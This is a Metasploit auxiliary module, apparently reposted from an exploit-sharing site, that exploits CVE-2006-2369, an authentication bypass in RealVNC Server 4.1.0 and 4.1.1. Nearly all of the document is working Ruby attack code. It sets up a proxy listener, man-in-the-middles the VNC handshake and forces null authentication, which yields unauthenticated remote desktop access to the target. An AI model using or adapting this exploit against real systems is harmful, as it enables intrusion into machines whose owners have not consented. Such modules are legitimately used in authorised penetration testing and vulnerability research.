RealVNC Authentication Bypass

##
# $Id: realvnc_41_bypass.rb 13641 2011-08-26 04:40:21Z bannedit $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
 
class Metasploit3 < Msf::Auxiliary
    include Msf::Exploit::Remote::Tcp
     
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'RealVNC Authentication Bypass',
            'Description'    => %q{
                This module exploits an Authentication Bypass Vulnerability
                in RealVNC Server version 4.1.0 and 4.1.1. It sets up a proxy
                listener on LPORT and proxies to the target server
 
                The AUTOVNC option requires that vncviewer be installed on
                the attacking machine. This option should be disabled for Pro
            },
            'Author'         =>
                [
                    'hdm', #original msf2 module
                    'TheLightCosine <thelightcosine[at]gmail.com>'
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13641 $',
            'References'     =>
                [
                    ['BID', '17978'],
                    ['OSVDB', '25479'],
                    ['URL', 'http://secunia.com/advisories/20107/'],
                    ['CVE', 'CVE-2006-2369'],
                ],
            'DisclosureDate' => 'May 15 2006'))
 
        register_options(
            [
                OptAddress.new('RHOST', [true, 'The Target Host']),
                OptPort.new('RPORT',    [true, "The port the target VNC Server is listening on", 5900 ]),
                OptPort.new('LPORT',    [true, "The port the local VNC Proxy should listen on", 5900 ]),
                OptBool.new('AUTOVNC',  [true, "Automatically Launch vncviewer from this host", true])
            ], self.class)
    end
 
    def run
        #starts up the Listener Server
        print_status("starting listener")
        listener = Rex::Socket::TcpServer.create(
                'LocalHost' => '0.0.0.0',
                'LocalPort' => datastore['LPORT'],
                'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
            )
 
        #If the autovnc option is set to true this will spawn a vncviewer on the lcoal machine
        #targetting the proxy listener.
        if (datastore['AUTOVNC'])
            unless (check_vncviewer())
                print_error("vncviewer does not appear to be installed, exiting!!!")
                return nil
            end
            print_status("Spawning viewer thread") 
            view = framework.threads.spawn("VncViewerWrapper", false) {
                    system("vncviewer 127.0.0.1::#{datastore['LPORT']}")
            }
        end
 
        #Establishes the connection between the viewier and the remote server
        client = listener.accept
        add_socket(client)
 
        s = Rex::Socket::Tcp.create(
                'PeerHost' => datastore['RHOST'],
                'PeerPort' => datastore['RPORT'],
                'Timeout' => 1
                )
        add_socket(s)
        serverhello = s.gets
        unless serverhello.include? "RFB 003.008"
            print_error("The VNCServer is not vulnerable")
            return
        end
 
        #MitM attack on the VNC Authentication Process
        client.puts(serverhello)
        clienthello = client.gets
        s.puts(clienthello)
        authmethods = s.recv(2)
        print_status("Auth Methods Recieved. Sending Null Authentication Option to Client")
        client.write("\x01\x01")
        client.recv(1)
        s.write("\x01")
        s.recv(4)
        client.write("\x00\x00\x00\x00")
 
        #handles remaining proxy operations between the two sockets
        closed = false
        while(closed == false)
            sockets =[]
            sockets << client
            sockets << s
            selected = select(sockets,nil,nil,0)
            #print_status ("Selected: #{selected.inspect}")
            unless selected.nil?
                if selected[0].include?(client)
                    #print_status("Transfering from client to server")
                    begin
                        data = client.sysread(8192)
                        if data.nil?
                            print_error("Client Closed Connection")
                            closed = true
                        else
                            s.write(data)
                        end
                    rescue
                        print_error("Client Closed Connection")
                        closed = true
                    end
                end
                if selected[0].include?(s)
                    #print_status("Transfering from server to client")
                    begin
                        data = s.sysread(8192)
                        if data.nil?
                            print_error("Server Closed Connection")
                            closed = true
                        else
                            client.write(data)
                        end
                    rescue
                        closed = true
                    end
                end
            end
        end
 
        #Garbage Collection
        s.close
        client.close
        print_status("Listener Closed")
 
        if (datastore['AUTOVNC'])
            view.kill
            print_status("Viewer Closed")
        end
    end
 
    def check_vncviewer
        vnc =
            Rex::FileUtils::find_full_path('vncviewer') ||
            Rex::FileUtils::find_full_path('vncviewer.exe')
        if (vnc)
            return true
        else
            return false
        end
    end
end



#  0day.today [2018-01-02]  #